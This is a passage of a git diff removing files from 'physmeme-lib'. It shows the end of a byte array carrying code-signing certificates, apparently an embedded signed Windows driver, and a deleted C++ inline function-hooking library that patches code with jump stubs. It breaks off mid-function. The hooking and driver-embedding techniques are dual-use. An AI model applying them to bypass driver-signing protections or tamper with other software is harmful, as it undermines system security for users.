0x29, 0x30, 0x27, 0x06, 0x03, 0x55, - 0x04, 0x03, 0x13, 0x20, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, - 0x74, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x52, 0x6F, 0x6F, 0x74, - 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x31, 0x30, 0x32, 0x32, 0x32, 0x31, 0x39, - 0x32, 0x35, 0x31, 0x37, 0x5A, 0x17, 0x0D, 0x32, 0x31, 0x30, 0x32, 0x32, - 0x32, 0x31, 0x39, 0x33, 0x35, 0x31, 0x37, 0x5A, 0x30, 0x81, 0xCA, 0x31, - 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, - 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0E, 0x56, - 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, - 0x2E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, - 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x54, 0x72, 0x75, - 0x73, 0x74, 0x20, 0x4E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x3A, - 0x30, 0x38, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x31, 0x28, 0x63, 0x29, - 0x20, 0x32, 0x30, 0x30, 0x36, 0x20, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, - 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x20, 0x2D, 0x20, 0x46, - 0x6F, 0x72, 0x20, 0x61, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x7A, 0x65, - 0x64, 0x20, 0x75, 0x73, 0x65, 0x20, 0x6F, 0x6E, 0x6C, 0x79, 0x31, 0x45, - 0x30, 0x43, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x3C, 0x56, 0x65, 0x72, - 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, - 0x33, 0x20, 0x50, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x50, 0x72, 0x69, - 0x6D, 0x61, 0x72, 0x79, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, - 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6F, - 0x72, 0x69, 0x74, 0x79, 0x20, 0x2D, 0x20, 0x47, 0x35, 0x30, 0x82, 0x01, - 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, - 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, - 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0xAF, 0x24, 0x08, 0x08, 0x29, 0x7A, - 0x35, 0x9E, 0x60, 0x0C, 0xAA, 0xE7, 0x4B, 0x3B, 0x4E, 0xDC, 0x7C, 0xBC, - 0x3C, 0x45, 0x1C, 0xBB, 0x2B, 0xE0, 0xFE, 0x29, 0x02, 0xF9, 0x57, 0x08, - 0xA3, 0x64, 0x85, 0x15, 0x27, 0xF5, 0xF1, 0xAD, 0xC8, 0x31, 0x89, 0x5D, - 0x22, 0xE8, 0x2A, 0xAA, 0xA6, 0x42, 0xB3, 0x8F, 0xF8, 0xB9, 0x55, 0xB7, - 0xB1, 0xB7, 0x4B, 0xB3, 0xFE, 0x8F, 0x7E, 0x07, 0x57, 0xEC, 0xEF, 0x43, - 0xDB, 0x66, 0x62, 0x15, 0x61, 0xCF, 0x60, 0x0D, 0xA4, 0xD8, 0xDE, 0xF8, - 0xE0, 0xC3, 0x62, 0x08, 0x3D, 0x54, 0x13, 0xEB, 0x49, 0xCA, 0x59, 0x54, - 0x85, 0x26, 0xE5, 0x2B, 0x8F, 0x1B, 0x9F, 0xEB, 0xF5, 0xA1, 0x91, 0xC2, - 0x33, 0x49, 0xD8, 0x43, 0x63, 0x6A, 0x52, 0x4B, 0xD2, 0x8F, 0xE8, 0x70, - 0x51, 0x4D, 0xD1, 0x89, 0x69, 0x7B, 0xC7, 0x70, 0xF6, 0xB3, 0xDC, 0x12, - 0x74, 0xDB, 0x7B, 0x5D, 0x4B, 0x56, 0xD3, 0x96, 0xBF, 0x15, 0x77, 0xA1, - 0xB0, 0xF4, 0xA2, 0x25, 0xF2, 0xAF, 0x1C, 0x92, 0x67, 0x18, 0xE5, 0xF4, - 0x06, 0x04, 0xEF, 0x90, 0xB9, 0xE4, 0x00, 0xE4, 0xDD, 0x3A, 0xB5, 0x19, - 0xFF, 0x02, 0xBA, 0xF4, 0x3C, 0xEE, 0xE0, 0x8B, 0xEB, 0x37, 0x8B, 0xEC, - 0xF4, 0xD7, 0xAC, 0xF2, 0xF6, 0xF0, 0x3D, 0xAF, 0xDD, 0x75, 0x91, 0x33, - 0x19, 0x1D, 0x1C, 0x40, 0xCB, 0x74, 0x24, 0x19, 0x21, 0x93, 0xD9, 0x14, - 0xFE, 0xAC, 0x2A, 0x52, 0xC7, 0x8F, 0xD5, 0x04, 0x49, 0xE4, 0x8D, 0x63, - 0x47, 0x88, 0x3C, 0x69, 0x83, 0xCB, 0xFE, 0x47, 0xBD, 0x2B, 0x7E, 0x4F, - 0xC5, 0x95, 0xAE, 0x0E, 0x9D, 0xD4, 0xD1, 0x43, 0xC0, 0x67, 0x73, 0xE3, - 0x14, 0x08, 0x7E, 0xE5, 0x3F, 0x9F, 0x73, 0xB8, 0x33, 0x0A, 0xCF, 0x5D, - 0x3F, 0x34, 0x87, 0x96, 0x8A, 0xEE, 0x53, 0xE8, 0x25, 0x15, 0x02, 0x03, - 0x01, 0x00, 0x01, 0xA3, 0x81, 0xCB, 0x30, 0x81, 0xC8, 0x30, 0x11, 0x06, - 0x03, 0x55, 0x1D, 0x20, 0x04, 0x0A, 0x30, 0x08, 0x30, 0x06, 0x06, 0x04, - 0x55, 0x1D, 0x20, 0x00, 0x30, 0x0F, 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, - 0x01, 0xFF, 0x04, 0x05, 0x30, 0x03, 0x01, 0x01, 0xFF, 0x30, 0x0B, 0x06, - 0x03, 0x55, 0x1D, 0x0F, 0x04, 0x04, 0x03, 0x02, 0x01, 0x86, 0x30, 0x1D, - 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x7F, 0xD3, 0x65, - 0xA7, 0xC2, 0xDD, 0xEC, 0xBB, 0xF0, 0x30, 0x09, 0xF3, 0x43, 0x39, 0xFA, - 0x02, 0xAF, 0x33, 0x31, 0x33, 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, - 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0x62, 0xFB, 0x0A, 0x21, 0x5B, 0x7F, - 0x43, 0x6E, 0x11, 0xDA, 0x09, 0x54, 0x50, 0x6B, 0xF5, 0xD2, 0x96, 0x71, - 0xF1, 0x9E, 0x30, 0x55, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x4E, 0x30, - 0x4C, 0x30, 0x4A, 0xA0, 0x48, 0xA0, 0x46, 0x86, 0x44, 0x68, 0x74, 0x74, - 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72, 0x6C, 0x2E, 0x6D, 0x69, 0x63, 0x72, - 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, 0x6B, - 0x69, 0x2F, 0x63, 0x72, 0x6C, 0x2F, 0x70, 0x72, 0x6F, 0x64, 0x75, 0x63, - 0x74, 0x73, 0x2F, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, - 0x43, 0x6F, 0x64, 0x65, 0x56, 0x65, 0x72, 0x69, 0x66, 0x52, 0x6F, 0x6F, - 0x74, 0x2E, 0x63, 0x72, 0x6C, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, - 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82, 0x02, 0x01, - 0x00, 0x81, 0x2A, 0x82, 0x16, 0x8C, 0x34, 0x67, 0x2B, 0xE5, 0x03, 0xEB, - 0x34, 0x7B, 0x8C, 0xA2, 0xA3, 0x50, 0x8A, 0xF4, 0x55, 0x86, 0xF1, 0x1E, - 0x8C, 0x8E, 0xAE, 0x7D, 0xEE, 0x03, 0x19, 0xCE, 0x72, 0x95, 0x18, 0x48, - 0xAD, 0x62, 0x11, 0xFD, 0x20, 0xFD, 0x3F, 0x47, 0x06, 0x01, 0x5A, 0xE2, - 0xE0, 0x6F, 0x8C, 0x15, 0x2C, 0x4E, 0x3C, 0x6A, 0x50, 0x6C, 0x0B, 0x36, - 0xA3, 0xCF, 0x7A, 0x0D, 0x9C, 0x42, 0xBC, 0x5C, 0xF8, 0x19, 0xD5, 0x60, - 0xE3, 0x69, 0xE6, 0xE2, 0x23, 0x41, 0x67, 0x8C, 0x68, 0x83, 0x76, 0x2B, - 0x8F, 0x93, 0xA3, 0x2A, 0xB5, 0x7F, 0xBE, 0x59, 0xFB, 0xA9, 0xC9, 0xB2, - 0x26, 0x8F, 0xCA, 0xA2, 0xF3, 0x82, 0x1B, 0x98, 0x3E, 0x91, 0x95, 0x27, - 0x97, 0x86, 0x61, 0xEE, 0x5B, 0x5D, 0x07, 0x6B, 0xCD, 0x86, 0xA8, 0xE2, - 0x65, 0x80, 0xA8, 0xE2, 0x15, 0xE2, 0xB2, 0xBE, 0x23, 0x05, 0x6A, 0xBA, - 0x0C, 0xF3, 0x47, 0x93, 0x4D, 0xAC, 0xA4, 0x8C, 0x07, 0x79, 0x39, 0xC0, - 0x61, 0x12, 0x3A, 0x05, 0x0D, 0x89, 0xA3, 0xEC, 0x9F, 0x57, 0x89, 0x84, - 0xFB, 0xEC, 0xCA, 0x7C, 0x47, 0x66, 0x14, 0x91, 0xD8, 0xB6, 0x0F, 0x19, - 0x5D, 0xE6, 0xB8, 0x4A, 0xAC, 0xBC, 0x47, 0xC8, 0x71, 0x43, 0x96, 0xE6, - 0x32, 0x20, 0xA5, 0xDC, 0x77, 0x86, 0xFD, 0x3C, 0xE3, 0x8B, 0x71, 0xDB, - 0x7B, 0x9B, 0x03, 0xFC, 0xB7, 0x1D, 0x32, 0x64, 0xEB, 0x16, 0x52, 0xA0, - 0x43, 0xA3, 0xFA, 0x2E, 0xAD, 0x59, 0x92, 0x4E, 0x7C, 0xC7, 0xF2, 0x33, - 0x42, 0x48, 0x38, 0x51, 0x3A, 0x7C, 0x38, 0xC7, 0x1B, 0x24, 0x22, 0x28, - 0x40, 0x1E, 0x1A, 0x46, 0x1F, 0x17, 0xDB, 0x18, 0xF7, 0xF0, 0x27, 0x35, - 0x6C, 0xB8, 0x63, 0xD9, 0xCD, 0xB9, 0x64, 0x5D, 0x2B, 0xA5, 0x5E, 0xEF, - 0xC6, 0x29, 0xB4, 0xF2, 0xC7, 0xF8, 0x21, 0xCC, 0x04, 0xBA, 0x57, 0xFD, - 0x01, 0xB6, 0xAB, 0xC6, 0x67, 0xF9, 0xE7, 0xD3, 0x99, 0x7F, 0xF4, 0xF5, - 0x22, 0xFA, 0x72, 0xF5, 0xFD, 0xFF, 0x3A, 0x1C, 0x42, 0x3A, 0xA1, 0xF9, - 0x80, 0x18, 0xA5, 0xEE, 0x8D, 0x1C, 0xD4, 0x66, 0x9E, 0x45, 0x01, 0xFE, - 0xAA, 0xEE, 0xFF, 0xFB, 0x17, 0x8F, 0x30, 0xF7, 0xF1, 0xCD, 0x29, 0xC5, - 0x9D, 0xEC, 0xB5, 0xD5, 0x49, 0x00, 0x3D, 0x85, 0xB8, 0xCB, 0xBB, 0x93, - 0x3A, 0x27, 0x6A, 0x49, 0xC0, 0x30, 0xAE, 0x66, 0xC9, 0xF7, 0x23, 0x28, - 0x32, 0x76, 0xF9, 0xA4, 0x83, 0x56, 0xC8, 0x48, 0xCE, 0x5A, 0x96, 0xAA, - 0xA0, 0xCC, 0x0C, 0xC4, 0x7F, 0xB4, 0x8E, 0x97, 0xAF, 0x6D, 0xE3, 0x54, - 0x27, 0xC3, 0x9F, 0x86, 0xC0, 0xD6, 0xE4, 0x73, 0x08, 0x97, 0x05, 0xDB, - 0xD0, 0x54, 0x62, 0x5E, 0x03, 0x48, 0xC2, 0xD5, 0x9F, 0x7F, 0xA7, 0x66, - 0x8C, 0xD0, 0x9D, 0xB0, 0x4F, 0xD4, 0xD3, 0x98, 0x5F, 0x4B, 0x7A, 0xC9, - 0x7F, 0xB2, 0x29, 0x52, 0xD0, 0x12, 0x80, 0xC7, 0x0F, 0x54, 0xB6, 0x1E, - 0x67, 0xCD, 0xC6, 0xA0, 0x6C, 0x11, 0x03, 0x84, 0xD3, 0x48, 0x75, 0xE7, - 0x2A, 0xFE, 0xB0, 0x3B, 0x6E, 0x0A, 0x3A, 0xA6, 0x6B, 0x76, 0x99, 0x05, - 0xA3, 0xF1, 0x77, 0x68, 0x61, 0x33, 0x14, 0x47, 0x06, 0xFC, 0x53, 0x7F, - 0x52, 0xBD, 0x92, 0x14, 0x5C, 0x4A, 0x24, 0x6A, 0x67, 0x8C, 0xAF, 0x8D, - 0x90, 0xAA, 0xD0, 0xF6, 0x79, 0x21, 0x1B, 0x93, 0x26, 0x7C, 0xC3, 0xCE, - 0x1E, 0xBD, 0x88, 0x38, 0x92, 0xAE, 0x45, 0xC6, 0x19, 0x6A, 0x49, 0x50, - 0xB3, 0x05, 0xF8, 0xAE, 0x59, 0x37, 0x8A, 0x6A, 0x25, 0x03, 0x94, 0xB1, - 0x59, 0x81, 0x50, 0xE8, 0xBA, 0x83, 0x80, 0xB7, 0x23, 0x35, 0xF4, 0x76, - 0xB9, 0x67, 0x1D, 0x59, 0x18, 0xAD, 0x20, 0x8D, 0x94, 0x31, 0x82, 0x04, - 0x3C, 0x30, 0x82, 0x04, 0x38, 0x02, 0x01, 0x01, 0x30, 0x81, 0x93, 0x30, - 0x7F, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, - 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, - 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, - 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x1F, 0x30, - 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x53, 0x79, 0x6D, 0x61, - 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4E, - 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, - 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, - 0x63, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x53, 0x48, - 0x41, 0x32, 0x35, 0x36, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x53, 0x69, - 0x67, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x43, 0x41, 0x02, 0x10, 0x2A, 0xD2, - 0x2E, 0x07, 0x1F, 0x61, 0xCA, 0xFE, 0x78, 0x84, 0xBF, 0xA4, 0x3A, 0x31, - 0xB2, 0x1B, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, - 0x00, 0xA0, 0x70, 0x30, 0x10, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, - 0x82, 0x37, 0x02, 0x01, 0x0C, 0x31, 0x02, 0x30, 0x00, 0x30, 0x19, 0x06, - 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0C, - 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x04, - 0x30, 0x1C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, - 0x01, 0x0B, 0x31, 0x0E, 0x30, 0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, - 0x01, 0x82, 0x37, 0x02, 0x01, 0x15, 0x30, 0x23, 0x06, 0x09, 0x2A, 0x86, - 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x16, 0x04, 0x14, 0x2D, - 0xFA, 0xF5, 0x42, 0x60, 0x09, 0xFB, 0x3A, 0x4A, 0x53, 0x02, 0xC1, 0x4C, - 0xB9, 0x30, 0x9A, 0xE1, 0x20, 0x7D, 0x44, 0x30, 0x0D, 0x06, 0x09, 0x2A, - 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, - 0x01, 0x00, 0xA1, 0x57, 0x78, 0x4D, 0x95, 0x21, 0x2A, 0xA1, 0xA6, 0x9A, - 0xD9, 0x69, 0x16, 0x1D, 0x95, 0x59, 0x6F, 0xD0, 0xDD, 0x4C, 0xBF, 0x3B, - 0xD6, 0x7E, 0x5E, 0x86, 0x39, 0x41, 0xEB, 0x52, 0x3A, 0xDF, 0x1B, 0xAC, - 0x44, 0x96, 0x08, 0x06, 0x0A, 0x07, 0x01, 0xD1, 0xDE, 0x34, 0xC0, 0x93, - 0xB2, 0xB2, 0xB8, 0xED, 0x05, 0xDE, 0xB5, 0xF7, 0xC5, 0xD5, 0x32, 0x2E, - 0xC7, 0x32, 0xBF, 0x3B, 0xD8, 0xEC, 0x4D, 0xC6, 0xF2, 0x2A, 0xFF, 0x7D, - 0xA2, 0x9C, 0x8B, 0xF2, 0x16, 0xBA, 0x6C, 0x3E, 0x3E, 0x9B, 0x49, 0x9E, - 0x00, 0x28, 0x80, 0x55, 0xDC, 0xFE, 0x6E, 0x1F, 0x74, 0x5F, 0x98, 0x1A, - 0x39, 0x3A, 0xD3, 0xE2, 0xD2, 0x5B, 0x5C, 0x22, 0x51, 0xF3, 0xA6, 0xF6, - 0x1D, 0x76, 0x19, 0x8C, 0x1C, 0x82, 0x31, 0xCE, 0x65, 0xF3, 0x10, 0x23, - 0xD6, 0xAD, 0x60, 0x2E, 0x43, 0x6C, 0x75, 0x30, 0xD6, 0x9A, 0x85, 0x2B, - 0x33, 0x22, 0x44, 0x03, 0x6D, 0xC9, 0x9A, 0xB2, 0x39, 0x8A, 0x34, 0xBF, - 0xDD, 0xAF, 0xA3, 0x0B, 0xB8, 0x7F, 0x2D, 0x50, 0x17, 0xD5, 0x56, 0x75, - 0x27, 0x6A, 0xF8, 0xB8, 0xD7, 0x5E, 0x27, 0x74, 0xAC, 0x91, 0x7C, 0xEE, - 0xA4, 0x42, 0x80, 0xD5, 0xF8, 0xFB, 0xB7, 0xD8, 0x70, 0x71, 0x70, 0xE6, - 0x3D, 0x2D, 0x51, 0x5C, 0x5A, 0xAB, 0xD7, 0x3F, 0x68, 0x0B, 0xE2, 0x93, - 0x80, 0xED, 0x7C, 0x8A, 0x94, 0x06, 0x2B, 0xE9, 0xCB, 0xBF, 0xD4, 0x4B, - 0x76, 0x6E, 0x3C, 0xAC, 0x01, 0xA6, 0xB3, 0xF9, 0x0D, 0xB2, 0x6C, 0x24, - 0x4B, 0x51, 0x63, 0x2D, 0x79, 0x15, 0x58, 0x4B, 0x6C, 0x5B, 0x8B, 0x99, - 0x4B, 0xCC, 0xAA, 0x07, 0x08, 0xC9, 0xA3, 0x43, 0xAE, 0xD5, 0x27, 0x8F, - 0xD7, 0x35, 0x85, 0x6B, 0xE8, 0x69, 0xF4, 0xF1, 0x8D, 0x3D, 0x8F, 0x00, - 0x71, 0x52, 0x85, 0x84, 0x02, 0x0D, 0xA1, 0x82, 0x02, 0x0B, 0x30, 0x82, - 0x02, 0x07, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, - 0x06, 0x31, 0x82, 0x01, 0xF8, 0x30, 0x82, 0x01, 0xF4, 0x02, 0x01, 0x01, - 0x30, 0x72, 0x30, 0x5E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, - 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, - 0x04, 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, - 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, - 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, - 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x69, 0x6D, 0x65, - 0x20, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x65, - 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x43, 0x41, 0x20, 0x2D, 0x20, - 0x47, 0x32, 0x02, 0x10, 0x0E, 0xCF, 0xF4, 0x38, 0xC8, 0xFE, 0xBF, 0x35, - 0x6E, 0x04, 0xD8, 0x6A, 0x98, 0x1B, 0x1A, 0x50, 0x30, 0x09, 0x06, 0x05, - 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0xA0, 0x5D, 0x30, 0x18, 0x06, - 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0B, - 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x01, 0x30, - 0x1C, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x05, - 0x31, 0x0F, 0x17, 0x0D, 0x31, 0x37, 0x31, 0x32, 0x30, 0x31, 0x30, 0x35, - 0x34, 0x30, 0x35, 0x34, 0x5A, 0x30, 0x23, 0x06, 0x09, 0x2A, 0x86, 0x48, - 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x16, 0x04, 0x14, 0x48, 0xE9, - 0xD3, 0xB8, 0xB2, 0x40, 0x23, 0x3E, 0x65, 0x95, 0x5D, 0xD2, 0x19, 0x40, - 0xAF, 0x08, 0x08, 0x5F, 0x02, 0xDF, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, - 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, 0x01, - 0x00, 0x89, 0xF5, 0x8C, 0x74, 0xAD, 0xAF, 0x17, 0x5E, 0x03, 0xA0, 0x82, - 0x0D, 0xBC, 0x1D, 0xBC, 0x29, 0x15, 0x66, 0x7B, 0x43, 0x94, 0xEA, 0x86, - 0x4F, 0x8A, 0x29, 0x08, 0x4D, 0x78, 0x92, 0x2D, 0x4F, 0x49, 0x66, 0x6F, - 0x5E, 0x0C, 0x83, 0x5D, 0xB3, 0x25, 0xDF, 0xAB, 0x99, 0xC8, 0xEC, 0xBB, - 0x90, 0x07, 0x7C, 0xC5, 0xBD, 0x7A, 0x86, 0x6A, 0x84, 0x71, 0x65, 0xE9, - 0x63, 0xD7, 0x1E, 0x28, 0xBF, 0x3C, 0xB9, 0x1C, 0xE5, 0xFD, 0xC9, 0x92, - 0x03, 0xC9, 0x5C, 0x67, 0x35, 0x81, 0xA9, 0x24, 0x4E, 0xDA, 0xE9, 0x1E, - 0x8D, 0xF1, 0x2B, 0x53, 0xEF, 0x7A, 0xFE, 0x0D, 0xCC, 0xAE, 0x97, 0x7B, - 0x63, 0x44, 0x0F, 0x9C, 0x03, 0x0B, 0xC3, 0xC5, 0x26, 0x56, 0x3C, 0x15, - 0x26, 0x4F, 0x21, 0x5C, 0x57, 0x0F, 0xBB, 0x23, 0x06, 0x0E, 0x34, 0x14, - 0x1A, 0x2D, 0x06, 0xAA, 0xD2, 0xF2, 0xEC, 0x57, 0x61, 0x08, 0x74, 0xF4, - 0x36, 0x42, 0x06, 0x81, 0xD6, 0x79, 0x65, 0xB0, 0x6F, 0xF2, 0x4F, 0x6F, - 0x5A, 0xD0, 0xC3, 0x84, 0xC3, 0x66, 0x53, 0x92, 0xC0, 0x22, 0x23, 0xE1, - 0xD5, 0x1B, 0x02, 0x76, 0x8E, 0xEB, 0x5F, 0xC2, 0x44, 0x68, 0xF0, 0x36, - 0x2E, 0xFC, 0xE1, 0x13, 0xB8, 0x21, 0x44, 0xAD, 0x9F, 0x7A, 0xD2, 0x9F, - 0xA9, 0x5F, 0xB1, 0xCB, 0x4C, 0xD9, 0x08, 0x6E, 0x4B, 0x82, 0x1D, 0x6D, - 0x7C, 0xD2, 0x51, 0xD1, 0x74, 0x0B, 0x7A, 0xE5, 0x7A, 0x59, 0x93, 0xF9, - 0xCA, 0xB8, 0x85, 0xC4, 0x2C, 0x8A, 0x1D, 0x93, 0x48, 0x6C, 0xAE, 0x3E, - 0x01, 0x5B, 0x66, 0x7F, 0x67, 0xF8, 0x2F, 0x8A, 0xF2, 0x65, 0x2C, 0x88, - 0x3C, 0x7F, 0xAD, 0xB8, 0x8D, 0xBA, 0x88, 0x99, 0xFB, 0xE1, 0xDE, 0x48, - 0xA2, 0x66, 0x96, 0xF0, 0xA9, 0xF1, 0xF2, 0x12, 0x21, 0x16, 0xB6, 0xDA, - 0x8C, 0xD3, 0x5E, 0xD3, 0x5B, 0x00, 0x00, 0x00 -}; \ No newline at end of file diff --git a/physmeme-lib/util/hook.hpp b/physmeme-lib/util/hook.hpp deleted file mode 100644 index 1004d9f..0000000 --- a/physmeme-lib/util/hook.hpp +++ /dev/null @@ -1,190 +0,0 @@ -/* - MIT License - - Copyright (c) 2020 xerox - - Permission is hereby granted, free of charge, to any person obtaining a copy - of this software and associated documentation files (the "Software"), to deal - in the Software without restriction, including without limitation the rights - to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - copies of the Software, and to permit persons to whom the Software is - furnished to do so, subject to the following conditions: - - The above copyright notice and this permission notice shall be included in all - copies or substantial portions of the Software. - - THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - SOFTWARE. -*/ - -#pragma once -#include -#include -#include -#include - -#if _M_IX86 - #define OFFSET_TO_ADDRESS 0x1 -#elif _M_X64 - #define OFFSET_TO_ADDRESS 0x2 -#endif - -namespace hook -{ - static void write_to_readonly(void* addr, void* data, int size) - { - DWORD old_flags; - VirtualProtect((LPVOID)addr, size, PAGE_EXECUTE_READWRITE, &old_flags); - memcpy((void*)addr, data, size); - VirtualProtect((LPVOID)addr, size, old_flags, &old_flags); - } - - class detour - { - public: - detour(void* addr_to_hook, void* jmp_to, bool enable = true) - : hook_addr(addr_to_hook), detour_addr(jmp_to), hook_installed(false) - { - //setup hook - memcpy( - jmp_code + OFFSET_TO_ADDRESS, - &jmp_to, - sizeof(jmp_to) - ); - - //save bytes - memcpy( - org_bytes, - hook_addr, - sizeof(org_bytes) - ); - if(enable) - install(); - } - - void install() - { - if (hook_installed.load()) - return; - - // mapped page is already read/write - memcpy(hook_addr, jmp_code, sizeof(jmp_code)); - hook_installed.exchange(true); - } - void uninstall() - { - if (!hook_installed.load()) - return; - - // mapped page is already read/write - memcpy(hook_addr, org_bytes, sizeof(org_bytes)); - hook_installed.exchange(false); - } - - ~detour() { uninstall(); } - bool installed() { return hook_installed; } - void* hook_address() { return hook_addr; } - void* detour_address() { return detour_addr; } - private: - std::atomic hook_installed; - void *hook_addr, *detour_addr; - -#if _M_IX86 - /* - 0: b8 ff ff ff ff mov eax, 0xffffffff - 5: ff e0 jmp eax - */ - unsigned char jmp_code[7] = { - 0xb8, 0x0, 0x0, 0x0, 0x0, - 0xFF, 0xE0 - }; -#elif _M_X64 - /* - 0: 48 b8 ff ff ff ff ff ff ff ff movabs rax,0xffffffffffffffff - 7: ff e0 jmp rax - */ - unsigned char jmp_code[12] = { - 0x48, 0xb8, - 0x0, - 0x0, - 0x0, - 0x0, - 0x0, - 0x0, - 0x0, - 0x0, - 0xff, 0xe0 - }; -#endif - std::uint8_t org_bytes[sizeof(jmp_code)]; - }; - - static std::map> hooks{}; - - /* - Author: xerox - Date: 12/19/2019 - - Create Hook without needing to deal with objects - */ - static void make_hook(void* addr_to_hook, void* jmp_to_addr, bool enable = true) - { - if (!addr_to_hook) - 